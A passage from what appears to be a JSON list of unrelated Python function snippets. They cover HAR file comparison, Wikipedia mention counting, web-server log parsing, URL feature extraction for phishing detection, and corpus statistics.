urls (num urls in both dirs)'.format(\\n str(len(url_intersection)))\\n\\n total_har1_resource_count = Counter()\\n total_har2_resource_count = Counter()\\n\\n for encoded_url in url_intersection:\\n decoded_url = urlsafe_b64decode(encoded_url)\\n\\n har1_dict = get_har_dict_from_file(\\n path.join(har1_path, encoded_url + '.har'))\\n har2_dict = get_har_dict_from_file(\\n path.join(har2_path, encoded_url + '.har'))\\n\\n har1_status_code_count = get_status_code_count(har1_dict)\\n har2_status_code_count = get_status_code_count(har2_dict)\\n\\n har1_response_size = get_total_body_size(har1_dict)\\n har2_response_size = get_total_body_size(har2_dict)\\n\\n har1_resource_type_count = get_resource_count(har1_dict)\\n har2_resource_type_count = get_resource_count(har2_dict)\\n\\n total_har1_resource_count.update(har1_resource_type_count)\\n total_har2_resource_count.update(har2_resource_type_count)\\n\\n print 'Count for {0}:'.format(decoded_url)\\n print har1_status_code_count\\n print har2_status_code_count\\n print 'Resource type counts for {0}:'.format(decoded_url)\\n print har1_resource_type_count\\n print har2_resource_type_count\\n print 'Resource count difference: {0}'.format(\\n abs(\\n sum(har1_resource_type_count.values()) -\\n sum(har2_resource_type_count.values())))\\n print 'Response body sizes'\\n print har1_response_size\\n print har2_response_size\\n print '======================================================='\\n\\n print 'Total resource counts'\\n print total_har1_resource_count\\n print total_har2_resource_count\",\n \"def __wiki_counts(self):\\n\\n num_lines = 0\\n num_valid_hyperlinks = 0\\n disambiguation_ent_errors = 0\\n\\n print(\\\"Calculating Wikipedia mention/entity occurrences\\\")\\n\\n last_processed_id = -1\\n exist_id_found = False\\n\\n wiki_anchor_files = os.listdir(\\n os.path.join(self.base_url, self.wiki_version, \\\"basic_data/anchor_files/\\\")\\n )\\n for wiki_anchor in wiki_anchor_files:\\n wiki_file = os.path.join(\\n self.base_url,\\n self.wiki_version,\\n \\\"basic_data/anchor_files/\\\",\\n wiki_anchor,\\n )\\n\\n with open(wiki_file, \\\"r\\\", encoding=\\\"utf-8\\\") as f:\\n for line in f:\\n num_lines += 1\\n\\n if num_lines % 5000000 == 0:\\n print(\\n \\\"Processed {} lines, valid hyperlinks {}\\\".format(\\n num_lines, num_valid_hyperlinks\\n )\\n )\\n if '<doc id=\\\"' in line:\\n id = int(line[line.find(\\\"id\\\") + 4 : line.find(\\\"url\\\") - 2])\\n if id <= last_processed_id:\\n exist_id_found = True\\n continue\\n else:\\n exist_id_found = False\\n last_processed_id = id\\n else:\\n if not exist_id_found:\\n (\\n list_hyp,\\n disambiguation_ent_error,\\n print_values,\\n ) = self.__extract_text_and_hyp(line)\\n\\n disambiguation_ent_errors += disambiguation_ent_error\\n\\n for el in list_hyp:\\n mention = el[\\\"mention\\\"]\\n ent_wiki_id = el[\\\"ent_wikiid\\\"]\\n\\n num_valid_hyperlinks += 1\\n if mention not in self.wiki_freq:\\n self.wiki_freq[mention] = {}\\n\\n if (\\n ent_wiki_id\\n in self.wikipedia.wiki_id_name_map[\\\"ent_id_to_name\\\"]\\n ):\\n if mention not in self.mention_freq:\\n self.mention_freq[mention] = 0\\n self.mention_freq[mention] += 1\\n\\n ent_name = self.wikipedia.wiki_id_name_map[\\n \\\"ent_id_to_name\\\"\\n ][ent_wiki_id].replace(\\\" \\\", \\\"_\\\")\\n if ent_name not in self.wiki_freq[mention]:\\n self.wiki_freq[mention][ent_name] = 0\\n self.wiki_freq[mention][ent_name] += 1\\n\\n print(\\n \\\"Done computing Wikipedia counts. Num valid hyperlinks = {}\\\".format(\\n num_valid_hyperlinks\\n )\\n )\",\n \"async def get_stats():\\n ret = {}\\n counter = 0\\n counter_error = 0\\n counter_completed = 0\\n list_duration = list()\\n for j in mngr.transcode_requests:\\n counter = counter + 1\\n task = mngr.transcode_requests[j]\\n if task.state == State.ERROR:\\n counter_error = counter_error + 1\\n elif task.state == State.COMPLETED:\\n counter_completed += 1\\n list_duration.append(task.duration)\\n\\n if not counter_completed:\\n percent = 0\\n aver = 0\\n else:\\n percent = np.percentile(np.array(list_duration), np.array(95))\\n aver = np.average(np.array(list_duration))\\n\\n ret[\\\"completed ratio\\\"]=float(counter_completed/counter)\\n ret[\\\"duration 95th percentile\\\"] = percent\\n ret[\\\"average\\\"] = aver\\n\\n return ret\",\n \"def getSignature(self, testPoint, spacings):\\n signatureChunks = []\\n nextLevelPoints = [(0, 0, 0)]\\n for level in xrange(1, self.levels+1):\\n radius = max(spacings[level-1])**2 + .5\\n if radius < 9:\\n # if radius < 4.5:\\n # break\\n radius = 9\\n try:\\n nextLevelPoints = self.getSubdivisionNodes(bestSignature)\\n except UnboundLocalError:\\n pass\\n bestDist = 9999999999\\n bestSignature = (9999999999, 9999999999, 9999999999)\\n for signature in nextLevelPoints:\\n gridPoint = self[level][signature]\\n dist = sparseDistance(gridPoint, testPoint, radius=radius**2+1, noAtoms=True)\\n if dist != None and dist < bestDist:\\n bestDist = dist\\n bestSignature = signature\\n signatureChunks.append(bestSignature)\\n return signatureChunks[-1]\",\n \"def handle_signature(self, sig, signode):\\n raise NotImplementedError\",\n \"def parse():\\n parser = argparse.ArgumentParser(\\n description='Calculates statistics of sampled data')\\n parser.add_argument(\\n '--platform', default=None,\\n help='the platform to use. \\\"r\\\" for reddit and \\\"s\\\" for stack overflow. Leave blank to do both')\\n parser.add_argument(\\n '--rq', default=None,\\n help='the research question to answer. 1, 2, or 3', type=int)\\n parser.add_argument(\\n '--frequency',\\n action='store_true',\\n help='Compute the frequency distributions of urls, subreddits, and tags (slow)')\\n parser.add_argument(\\n '--tags',\\n action='store_true',\\n help='Only compute tags frequency dist. Overrides other options.')\\n parser.add_argument(\\n '--explain',\\n action='store_true',\\n help='custom helper. Check code not docs.')\\n parser.add_argument(\\n '--bootstrap',\\n type=int,default=None,\\n help='use stats bootstrapping')\\n parser.add_argument(\\n '--sample_num',\\n default=None,\\n help='select a sample number')\\n args = parser.parse_args()\\n if args.tags:\\n tags_frequency_distribution(\\n SampledStackOverflowPost.objects.all())\\n tags_frequency_distribution(\\n SampledStackOverflowPost.objects.filter(has_wiki_link=True))\\n elif args.explain:\\n explain()\\n else:\\n if args.platform is None:\\n platforms = ['r', 's', ]\\n else:\\n platforms = [args.platform]\\n if args.rq is None:\\n rqs = [1, 2, 3]\\n else:\\n rqs = [args.rq]\\n for platform in platforms:\\n for rq in rqs:\\n main(platform, rq, args.frequency, args.bootstrap, args.sample_num)\",\n \"def result_filter_routine(self, args):\\n file_types = set(['fb2', 'epub'])\\n page_url, page_weight, weighted_links, thresholds, result_class = args\\n page_threshold, link_threshold, book_link_cnt = thresholds\\n\\n ret_links = {}\\n for link, weight in weighted_links:\\n link_href = link.get('href', None)\\n if not link_href:\\n continue\\n link_tgt_type = link_href.split('.')[-1]\\n if link_tgt_type in file_types:\\n page_weight += page_threshold / book_link_cnt\\n link_url = extract_url_from_link(link_href,page_url)\\n result_class.submit_book_link(link_url,page_url)\\n continue\\n if link.get('rel', None) == 'nofollow':\\n continue\\n if weight >= link_threshold:\\n link_url = extract_url_from_link(link_href,page_url)\\n if is_html_url( link_url ):\\n old_weight = ret_links.get(link_url, 0)\\n ret_links[link_url] = max(old_weight,weight)\\n if page_weight >= page_threshold:\\n result_class.submit_site(page_url)\\n self.result = [page_url, page_weight, ret_links.items()]\\n self.complete = True\",\n \"def get_word_stats(segments, feats_dict):\\r\\n word_count_list = []\\r\\n word_lengths = []\\r\\n long_count = 0\\r\\n for segment in segments:\\r\\n word_count_list.append(len(segment))\\r\\n for word in segment:\\r\\n word_lengths.append(len(word))\\r\\n if len(word) > 6:\\r\\n long_count += 1\\r\\n # Compute segment level statistics\\r\\n feats_dict['wc_mean'] = np.mean(word_count_list) if word_count_list else float('nan')\\r\\n feats_dict['wc_median'] = np.median(word_count_list) if word_count_list else float('nan')\\r\\n feats_dict['wc_stdev'] = np.std(word_count_list) if word_count_list else float('nan')\\r\\n feats_dict['wc_min'] = min(word_count_list) if word_count_list else float('nan')\\r\\n feats_dict['wc_max'] = max(word_count_list) if word_count_list else float('nan')\\r\\n feats_dict['total_count'] = sum(word_count_list) if word_count_list else float('nan')\\r\\n\\r\\n # Compute fraction of words across whole call that are long (i.e. 6+ words)\\r\\n feats_dict['lw_count'] = (long_count / feats_dict['total_count']) if feats_dict['total_count'] else float('nan')\\r\\n # Compute mean length of any word used\\r\\n feats_dict['word_len'] = np.mean(word_lengths) if word_lengths else float('nan')\",\n \"def build_parser(word_counts, signatures, stems, suffixes):\\n \\n # Go through signatures and associate each generated word with its parses...\\n sig_num = 1\\n parses = collections.defaultdict(dict)\\n for suffixes in signatures:\\n for pair in itertools.product(signatures[suffixes], suffixes):\\n word = \\\"\\\".join(pair)\\n parses[word][pair] = sig_num\\n sig_num += 1\\n \\n # Go through each word in the corpus and increment stem and suffix count...\\n stem_count = dict()\\n suffix_count = dict()\\n total_stem_count = total_suffix_count = 0\\n for word, count in word_counts.items():\\n if len(parses[word]):\\n for stem, suffix in parses[word]:\\n stem_count[stem] = stem_count.get(stem, 0) + count\\n suffix_count[suffix] = suffix_count.get(suffix, 0) + count\\n total_stem_count += count\\n total_suffix_count += count\\n else:\\n parses[word][word, \\\"\\\"] = 0\\n stem_count[word] = stem_count.get(word, 0) + count\\n suffix_count[\\\"\\\"] = suffix_count.get(\\\"\\\", 0) + count\\n total_stem_count += count\\n total_suffix_count += count\\n\\n # Compute score of each word parse and store ordered lists of parses...\\n parser = collections.defaultdict(list)\\n for word in parses:\\n scores = dict()\\n total = 0\\n for stem, suffix in parses[word]:\\n score = (stem_count[stem]/total_stem_count) \\\\\\n * (suffix_count[suffix]/total_suffix_count)\\n scores[stem, suffix] = score\\n total += score\\n for stem, suffix in sorted(\\n scores, key=scores.get, reverse=True\\n ):\\n parser[word].append(\\n Parse(\\n stem=stem,\\n suffix=suffix,\\n signature=parses[word][stem, suffix],\\n score=scores[stem, suffix] / total,\\n )\\n )\\n return parser\",\n \"def getFeatures2(url, label):\\r\\n result = []\\r\\n url = str(url)\\r\\n \\r\\n #add the url to feature set\\r\\n result.append(url)\\r\\n \\r\\n #parse the URL and extract the domain information\\r\\n path = urlparse(url)\\r\\n ext = tldextract.extract(url)\\r\\n \\r\\n #counting number of dots in subdomain \\r\\n result.append(countdots(ext.subdomain))\\r\\n \\r\\n #checking hyphen in domain \\r\\n result.append(CountSoftHyphen(path.netloc))\\r\\n \\r\\n #length of URL \\r\\n result.append(length(url))\\r\\n \\r\\n #checking @ in the url \\r\\n result.append(CountAt(path.netloc))\\r\\n \\r\\n #checking presence of double slash \\r\\n result.append(CountDSlash(path.path))\\r\\n \\r\\n #Count number of subdir \\r\\n result.append(countSubDir(path.path))\\r\\n \\r\\n #number of sub domain \\r\\n result.append(countSubDomain(ext.subdomain))\\r\\n \\r\\n #length of domain name \\r\\n path2 = urlparse(url_format(url))\\r\\n result.append(len(path2.netloc)) \\r\\n \\r\\n #count number of queries \\r\\n result.append(len(path.query))\\r\\n \\r\\n #Adding domain information\\r\\n \\r\\n #if IP address is being used as a URL \\r\\n result.append(containsip(ext.domain))\\r\\n \\r\\n #presence of Suspicious_TLD\\r\\n result.append(1 if ext.suffix in Suspicious_TLD else 0)\\r\\n \\r\\n #append default for create_age(months)country\\r\\n result.append(-1)\\r\\n \\r\\n #append default for expiry_age(months)\\r\\n result.append(-1)\\r\\n \\r\\n #append default for update_age(days)\\r\\n result.append(-1)\\r\\n \\r\\n #append default for country\\r\\n result.append('None')\\r\\n \\r\\n #append extension\\r\\n path = urlparse(url)\\r\\n \\r\\n if get_ext(path.path) == '':\\r\\n result.append('None')\\r\\n else:\\r\\n result.append(get_ext(path.path))\\r\\n \\r\\n #append label\\r\\n result.append(str(label))\\r\\n \\r\\n return result\",\n \"def calculate(d):\\r\\n\\r\\n # Set correct slashes for the OS\\r\\n if sys.platform == 'windows':\\r\\n slash = '\\\\\\\\'\\r\\n elif sys.platform == 'linux':\\r\\n slash = '/'\\r\\n else:\\r\\n print('#Error. Unknown platform.')\\r\\n return\\r\\n\\r\\n print('Files in the current directory and their md5-hashes:\\\\n')\\r\\n i = 0\\r\\n assert i == 0, '#Error. Variable i != 0.'\\r\\n\\r\\n for i in range(len(d[2])): # Go through the list of files\\r\\n full_path = d[0]+slash+d[2][i]\\r\\n print(full_path) # Get the list of files with full paths\\r\\n print(md5(full_path))\\r\\n size(full_path)\",\n \"def parse_tool_sig(tpath):\\n\\n tname = os.path.basename(tpath)\\n tdirname = os.path.dirname(tpath)\\n\\n if not tdirname: # Expect to find it in $PATH\\n for path in os.getenv(\\\"PATH\\\").split(\\\":\\\"):\\n if os.path.exists(os.path.join(path, tname)):\\n tdirname = path\\n break\\n\\n tdirname = expand_path(tdirname)\\n logging.info(\\\"Using tool at: %s\\\", tdirname)\\n\\n out, err, rcode = run([tname, \\\"--help\\\"], cwd=tdirname)\\n if rcode:\\n logging.error(out, err, rcode)\\n return None\\n\\n match = re.match(RE_SIG, out, re.MULTILINE | re.IGNORECASE)\\n if not match:\\n logging.error(\\\"No match!\\\")\\n return None\\n\\n tsig = {\\n \\\"name\\\": tname,\\n \\\"path\\\": tpath,\\n \\\"dirname\\\": tdirname,\\n \\\"usage\\\": match.group(\\\"usage\\\"),\\n \\\"descr\\\": match.group(\\\"descr\\\").strip(),\\n \\\"descr_long\\\": match.group(\\\"descr\\\").strip(),\\n \\\"snames\\\": [],\\n \\\"subs\\\": {},\\n }\\n\\n for line in match.group(\\\"body\\\").splitlines():\\n line = line.strip()\\n if not line:\\n continue\\n\\n sname = line.split(\\\" \\\")[0]\\n tsig[\\\"snames\\\"].append(sname)\\n\\n if not parse_tool_sub_sig(tsig, sname):\\n logging.error(\\\"FAILED: parsing tname: %s, sname: %s\\\", tname, sname)\\n return None\\n\\n return tsig\",\n \"def parse(input_path, output_dir, func_validate = None, target_tag = None, size_limit_KB = None):\\n if not os.path.exists(output_dir): os.makedirs(output_dir)\\n\\n if os.path.isfile(input_path):\\n print (\\\"The input file is\\\", input_path)\\n print (\\\"The output directory is\\\", output_dir)\\n files = [[input_path, os.path.basename(input_path)]]\\n else:\\n input_dir = input_path\\n print (\\\"The input directory is\\\", input_dir)\\n print (\\\"The output directory is\\\", output_dir)\\n print (\\\"Searching HTML files in the input directory...\\\")\\n files = file_utils.get_filelist_in_path(\\\"html\\\", input_dir, True)\\n\\n def process(files):\\n corpus_store = corpus_utils.CorpusStore(func_validate = func_validate)\\n\\n for idx, file in enumerate(files):\\n f_abst = file[0] # absolute path\\n f_rel = file[1] # relative path\\n print (\\\"(\\\", idx, \\\"of\\\", len(files), \\\") file\\\", f_rel)\\n file_content = file_utils.read_file_any_encoding(f_abst)\\n if (len(file_content) == 0):\\n continue\\n\\n # 1st, process the data with Atomic Parser\\n parser = pat.Parser(corpus_store)\\n parser.parse(file_content)\\n\\n # Process the same data with Atomic HeaderBody Parser\\n # parser = pah.Parser(corpus_store)\\n # parser.parse(file_content)\\n\\n # Process the same data with HeaderBody Parser\\n parser = phb.Parser(corpus_store, target_tag)\\n parser.parse(file_content)\\n\\n # Export the parsed data into file\\n print (\\\"Exporting the result...\\\")\\n return corpus_store.export_corpus(output_dir, size_limit_KB = size_limit_KB)\\n\\n print (\\\"Total\\\", len(files), \\\"files to process.\\\")\\n exported_files = process(files)\\n print (\\\"Exported:\\\", exported_files)\",\n \"def test_parsing_webserver_logs(file, host_ip):\\n\\n ip_regexp = r\\\"\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\" # regexp for searching ip in logfile\\n client_error_regexp = r'\\\" 4\\\\d{2} ' # 4xx number\\n server_error_regexp = r'\\\" 5\\\\d{2} ' # 5xx number\\n request_time_regexp = r'] \\\\d+ \\\"' # any number between ] and \\\" (configured apache's /D (request time by\\n # microseconds logging parameter to be between these symbols)\\n timestamp_regexp = r'\\\\d{2}/\\\\D+/\\\\d{4}:\\\\d{2}:\\\\d{2}:\\\\d{2}'\\n\\n values = {}\\n top_count = \\\"10\\\"\\n\\n def file_last_timestamp(file):\\n with open(file) as f:\\n last_line = list(f)[-1]\\n print(last_line)\\n timestamp = re.search(timestamp_regexp, last_line)\\n if timestamp:\\n return str(timestamp[0]).replace('/', '.').replace(':', '.')\\n else:\\n return path.basename(file)\\n\\n\\n def copy_unique_elements(list_of_all):\\n \\\"\\\"\\\"\\n Copies unique elements from list to unique_list\\n :param list_of_all:\\n :return:\\n \\\"\\\"\\\"\\n unique_list = []\\n for i in list_of_all:\\n if i not in unique_list:\\n unique_list.append(i)\\n if len(unique_list) == int(top_count):\\n break\\n return unique_list\\n\\n def findall_unique_exps(regexp, data):\\n \\\"\\\"\\\"\\n Returns list of unique expressions in data (may be limited by length\\n if copy_unique_elements function's used)\\n :param regexp:\\n :param data:\\n :return:\\n \\\"\\\"\\\"\\n list_of_all = re.findall(regexp, data)\\n count = Counter(list_of_all)\\n sorted_list = sorted(list_of_all, key=lambda x: (count[x], x), reverse=True)\\n return copy_unique_elements(sorted_list)\\n\\n def findall_unique_exps_lines(regexp, logfile):\\n \\\"\\\"\\\"\\n Returns a list of lines with unique expressions in logfile (may be limited by length\\n if copy_unique_elements function's used)\\n :param regexp:\\n :param logfile:\\n :return:\\n \\\"\\\"\\\"\\n list_of_all = []\\n with open(logfile) as logfile:\\n for line in logfile:\\n exp = re.compile(regexp)\\n if exp.search(line):\\n list_of_all.append(line)\\n return copy_unique_elements(list_of_all)\\n\\n def requests_count(regexp, data):\\n \\\"\\\"\\\"\\n Returns requests count containing expression like 'GET' or 'POST'\\n :param regexp:\\n :param data:\\n :return:\\n \\\"\\\"\\\"\\n requests_list = re.findall(regexp, data)\\n return int(list(Counter(requests_list).values())[0])\\n\\n def requests_exec_time_list(regexp, data, logfile):\\n \\\"\\\"\\\"\\n Returns lines with longest requests (number of lines is set in top_count variable)\\n :param regexp:\\n :param data:\\n :param logfile:\\n :return:\\n \\\"\\\"\\\"\\n # find every request time and add to collection\\n request_time_list = re.findall(regexp, data)\\n request_time_count = Counter(request_time_list)\\n sorted_request_time_list = sorted(request_time_list, key=lambda x: (request_time_count[x], x), reverse=True)\\n # convert strings in requests time integer values\\n for index, item in enumerate(sorted_request_time_list):\\n sorted_request_time_list[index] = int(''.join(c for c in item if c.isdigit()))\\n # collect top <top_count> longest requests\\n top_request_time_list = []\\n for i in range(int(top_count)):\\n max_request = max(sorted_request_time_list)\\n top_request_time_list.append(max_request)\\n sorted_request_time_list.remove(max_request)\\n # search top <top_count> longest requests in a file and collect lines with them to a list\\n top_request_lines = []\\n with open(logfile) as f:\\n for line in f:\\n for i in top_request_time_list:\\n if str(i) in line:\\n top_request_lines.append(line)\\n return top_request_lines\\n\\n def parse(log):\\n\\n timestamp = file_last_timestamp(log)\\n json_file_name = 'log_parse_{}.json'.format(timestamp)\\n open(json_file_name, 'w').close() # clears json-file for every test run\\n\\n print('\\\\n{}'.format(log)) # to see what log was parsed\\n\\n unique_client_error_lines_list = findall_unique_exps_lines(client_error_regexp, log)\\n unique_server_error_lines_list = findall_unique_exps_lines(server_error_regexp, log)\\n\\n with open(log) as f:\\n data = f.read()\\n\\n unique_ips_list = findall_unique_exps(ip_regexp, data)\\n\\n get_count = requests_count('GET', data)\\n post_count = requests_count('POST', data)\\n\\n total_requests_count = get_count + post_count\\n\\n top_request_lines = requests_exec_time_list(request_time_regexp, data, log)\\n\\n with open(json_file_name, 'a') as json_file:\\n values[\\\"{}\\\".format(log)] = {'TOP {} IPs'.format(top_count): unique_ips_list,\\n 'Total requests count': total_requests_count,\\n 'GET requests count': get_count,\\n 'POST requests count': post_count,\\n 'TOP {} client errors'.format(top_count): unique_client_error_lines_list,\\n 'TOP {} server errors'.format(top_count): unique_server_error_lines_list,\\n 'TOP {} longest requests'.format(top_count): top_request_lines}\\n json.dump(values, json_file)\\n\\n if isinstance(file, list):\\n for i in file:\\n try:\\n parse(i)\\n except UnicodeDecodeError:\\n print(\\\"File wasn't parsed (check format) ({})\\\".format(file))\\n pass\\n else:\\n try:\\n parse(file)\\n except UnicodeDecodeError:\\n print(\\\"File wasn't parsed (check format) ({})\\\".format(file))\",\n \"def signature_length(self):\",\n \"def process_files(path, patterns, callback):\\r\\n stats = dict.fromkeys(patterns, 0)\\r\\n for pattern, line_count in match_filenames(\\r\\n path, patterns, callback):\\r\\n stats[pattern] += line_count\\r\\n return stats\",\n \"def _write_stats(self, stat_type, user=None, summ_type=None):\\n if stat_type == \\\"full collection\\\":\\n self.summary_file.write(\\\"\\\\n\\\\nDataset: {c}\\\\n\\\".format(c=self.dataset_name))\\n self.summary_file.write(\\\"Number of unique urls: {u}\\\\nNumber of unique sites: {s}\\\\n\\\".format(u=len(set(self.stat_dict['urls'])), s=len(set(self.stat_dict['sites'])))\\n )\\n site_cnts = Counter(self.stat_dict['sites']).most_common()\\n for site in site_cnts:\\n self.summary_file.write(\\\"{s}: {n}\\\\n\\\".format(s=site[0], n=site[1]))\\n\\n if stat_type == \\\"token_counts\\\":\\n self.summary_file.write(\\\"\\\\n\\\\nDataset: {c}\\\\n\\\".format(c=self.dataset_name))\\n for doc_type in self.stat_dict:\\n if user is not None:\\n self.summary_file.write(\\\"\\\\n{0}, {1}\\\\n\\\".format(user, summ_type))\\n\\n self.summary_file.write(\\n \\\"\\\\nNumber of {d}s: {p}\\\\nAverage tokens/{d}: {t}\\\\nAverage sentences/{d}: {s}\\\\n\\\".format(\\n d=doc_type, p=len(self.stat_dict[doc_type][0]), t=sum(self.stat_dict[doc_type][1])/len(self.stat_dict[doc_type][1]), s=sum(self.stat_dict[doc_type][0])/len(self.stat_dict[doc_type][0])\\n )\\n )\\n\\n self.summary_file.write(\\n \\\"Median tokens/{d}: {p}\\\\nStandard deviation tokens/{d}: {t}\\\\n\\\".format(\\n d=doc_type, p=np.median(self.stat_dict[doc_type][1]), t=np.std(self.stat_dict[doc_type][1])\\n )\\n )\\n\\n self.summary_file.write(\\n \\\"Median sentences/{d}: {p}\\\\nStandard deviation sentences/{d}: {t}\\\\n\\\".format(\\n d=doc_type, p=np.median(self.stat_dict[doc_type][0]), t=np.std(self.stat_dict[doc_type][0])\\n )\\n )\",\n \"def integrateStats(self, data):\\n\\n typeTags = ('AA', 'UU', 'UUE', 'UUD', 'UX', 'UnM', 'UrM',\\n 'nMnM', 'rMrM', 'nMrM', 'nMA', 'rMA', 'XX',\\n 'fr', 'rf', 'ff', 'rr')\\n\\n for pDict in data:\\n for i in xrange(len(self.orderedStreams)):\\n if self.orderedStreams[i].name == pDict['name']:\\n stream = self.orderedStreams[i]\\n # insert size stats\\n for sizePair in pDict['stats']['sizes']:\\n stream.stats['sizes'].append(sizePair)\\n # Rname stats\\n for statsKey in ('rnames', 'RNsingle', 'RNpairs'):\\n for key,value in pDict['stats'][statsKey].items():\\n try:\\n stream.stats[statsKey][key] += value\\n except KeyError:\\n stream.stats[statsKey][key] = value\\n # LL and ss match stats\\n for tag in typeTags:\\n try:\\n stream.stats[tag] += pDict['stats'][tag]\\n except KeyError:\\n stream.stats[tag] = pDict['stats'][tag]\\n # General counts and output files (var: fns)\\n stream.count += 1\\n fns = []\\n for filename in pDict['files']:\\n if stream.op(OP_SAM):\\n fns.append('%s.%s' % (filename, OP_SAM))\\n elif stream.op(OP_SAMPP):\\n fns.append('%s.pp.%s' % (filename, OP_SAM))\\n if stream.op(OP_FASTQPP):\\n if stream.op(OP_SH):\\n fns.append('%s.pp.sh.%s' % (filename, OP_FASTQ))\\n else:\\n fns.append('%s.pp.1.%s' % (filename, OP_FASTQ))\\n fns.append('%s.pp.2.%s' % (filename, OP_FASTQ))\\n elif stream.op(OP_FASTQ):\\n if stream.op(OP_SH):\\n fns.append('%s.sh.%s' % (filename, OP_FASTQ))\\n else:\\n fns.append('%s.1.%s' % (filename, OP_FASTQ))\\n fns.append('%s.2.%s' % (filename, OP_FASTQ))\\n for fname in fns:\\n stream.fileswritten.add(fname)\\n stream.outputfilenames.add(fname)\\n break\\n\\n # Now add the so-called global stats from each dict - we only need\\n # update the globalstats list in the first stream object\\n for pDict in data:\\n stream = self.orderedStreams[0]\\n for tag in typeTags:\\n try:\\n stream.globalstats[tag] += pDict['globalstats'][tag]\\n except KeyError:\\n stream.globalstats[tag] = pDict['globalstats'][tag]\\n\\n # Update the heartbeat object with the number of record pairs\\n # written. This will trigger a console update automatically when\\n # needed.\\n self.heartbeat.count = stream.globalstats['AA']\\n self.heartbeat.update()\",\n \"def _gather_path(self, comp, path, function_map):\\n print(f'\\\"Analyzing {comp} at {path}')\\n if not os.path.exists(path):\\n print('No files in {path}')\\n return\\n\\n for root, _dirs, files in os.walk(path):\\n if self.excluded(root):\\n continue\\n if not self.included(root, self.dir_inclusions):\\n continue\\n for fname in files:\\n if not self.included(fname, self.file_inclusions):\\n continue\\n if fname.endswith(\\\".su\\\"):\\n with open(os.path.join(root, fname), \\\"r\\\") as frame:\\n for line in frame.readlines():\\n split = line.split()\\n if len(split) < 3:\\n continue\\n func = f\\\"{comp}:{split[0]}\\\"\\n usage = int(split[-2])\\n if usage < self.cutoff:\\n continue\\n if func not in function_map:\\n function_map[func] = usage\\n elif usage > function_map[func]:\\n function_map[func] = usage\",\n \"def main(argv):\\n\\n defaults = {\\n 'uspto_url': 'http://www.google.com/googlebooks/uspto-patents-applications-biblio.html',\\n 'html_page': None,\\n 'requested_years': [],\\n 'write_to_stdout': False,\\n 'print_to_file': False,\\n 'download': False,\\n 'output_directory': '.'\\n }\\n\\n validate_input(argv, defaults);\\n\\n if not defaults['html_page']:\\n defaults['html_page'] = load_url(uspto_url)\\n soup = BeautifulSoup(html_page)\\n\\n links_per_year = defaultdict(list)\\n links = soup.findAll('a', attrs={ 'href': re.compile('zip$') })\\n logging.info(' found ' + str(len(links)) + ' links')\\n for link in links:\\n logging.debug(' . ' + link['href'])\\n matched_year = re.search( '/([0-9]{4})/', link['href'])\\n if matched_year:\\n links_per_year[matched_year.group(1)].append(link['href'])\\n filtered_dict = links_per_year\\n if requested_years:\\n filtered_dict = { year : links_per_year[year] for year in requested_years }\\n if write_to_stdout:\\n for links in sorted(filtered_dict.itervalues()):\\n for link in links:\\n print link\\n if print_to_file:\\n makedirs(output_directory)\\n for k,v in filtered_dict.iteritems():\\n basename = k + '.txt'\\n filename = output_directory + '/' + basename\\n if os.path.isfile(filename):\\n os.remove(filename)\\n with open(filename, 'a') as text_file:\\n for link in sorted(v):\\n text_file.write(link + '\\\\n')\\n logging.debug(' file ' + basename + ' written to disk')\\n logging.info(' all files written to disk')\\n if download:\\n for year, links in filtered_dict.iteritems():\\n makedirs(os.path.join(output_directory, year))\\n for link in links:\\n try:\\n filename = os.path.join(output_directory, year, link.split('/')[-1])\\n prog = urlgrabber.progress.text_progress_meter()\\n urlgrabber.urlgrab(str(link), filename, progress_obj=prog)\\n except Exception, e:\\n logging.warn(' error while downloading %s: %s' % (link, e))\",\n \"def get_stats(filtered_paths : dict) -> dict:\\n stats_dict = defaultdict(dict)\\n for mag in filtered_paths.keys():\\n for spec,paths in filtered_paths[mag].items():\\n counter = Counter()\\n for path in paths:\\n img = cv2.imread(path, -1)\\n count = Counter(list(img.ravel()))\\n counter += count\\n stats_dict[mag][spec] = counter\\n print(mag)\\n return stats_dict\",\n \"def extract_names_URL(inputURL, source=\\\"gnrd\\\", sEngine=0):\\r\\n #service execution time\\r\\n start_time = time.time()\\r\\n if source == \\\"gnrd\\\":\\r\\n final_result = get_sn_url(inputURL, sEngine)\\r\\n elif source == \\\"taxonfinder\\\":\\r\\n final_result = get_tf_sn_url(inputURL)\\r\\n else:\\r\\n return {'status_code': 400, 'message': \\\"Error: Invalid source name\\\"} \\r\\n\\r\\n end_time = time.time()\\r\\n execution_time = end_time-start_time\\r\\n\\r\\n #service result creation time\\r\\n creation_time = datetime.datetime.now().isoformat()\\r\\n\\r\\n meta_data = {'creation_time': creation_time, 'execution_time': float(\\\"{:4.2f}\\\".format(execution_time)), 'source_urls': [\\\"http://gnrd.globalnames.org/\\\"] }\\r\\n\\r\\n final_result['meta_data'] = meta_data\\r\\n final_result['total_names'] = len(final_result['scientificNames'])\\r\\n\\r\\n return json.dumps(final_result)\",\n \"def generate_signature_base_string(request):\\n host = request.headers.get('Host', None)\\n return construct_base_string(\\n request.method, request.uri, request.params, host)\",\n \"def summarize_page(url, sent_count=default_sents, kp_count=default_kp):\\n import bs4\\n import requests\\n\\n try:\\n data = requests.get(url).text\\n soup = bs4.BeautifulSoup(data, \\\"html.parser\\\")\\n # Find the tag with most paragraph tags as direct children\\n body = max(soup.find_all(),\\n key=lambda tag: len(tag.find_all('p', recursive=False)))\\n\\n paragraphs = map(lambda p: p.text, body('p'))\\n text = '\\\\n'.join(paragraphs)\\n return summarize(text, sent_count, kp_count)\\n except Exception as e:\\n return \\\"Something went wrong: {}\\\".format(str(e)), []\",\n \"def _extract_methods_signatures(self):\\n return {\\n 'erc20': {\\n 'totalSupply': self._extract_first_bytes('totalSupply()'),\\n 'balanceOf': self._extract_first_bytes('balanceOf(address)'),\\n 'allowance': self._extract_first_bytes('allowance(address,address)'),\\n 'transfer': self._extract_first_bytes('transfer(address,uint256)'),\\n 'transferFrom': self._extract_first_bytes('transferFrom(address,address,uint256)'),\\n 'approve': self._extract_first_bytes('approve(address,uint256)'),\\n },\\n 'erc223': {\\n 'tokenFallback': self._extract_first_bytes('tokenFallback(address,uint256,bytes)')\\n },\\n 'bancor_converter': {\\n 'convert': self._extract_first_bytes('convert(address,address,uint256,uint256)')\\n }\\n }\",\n \"def corpus_statistics(corpus, d_corp):\\n print('There are {} types of a total of {} tokens in the corpus.\\\\n' .format(number_types(corpus), corpus_length(corpus)))\\n print('There average token length is {}.\\\\n' .format(average_length(corpus)))\\n print('The longest token is {}.\\\\n' 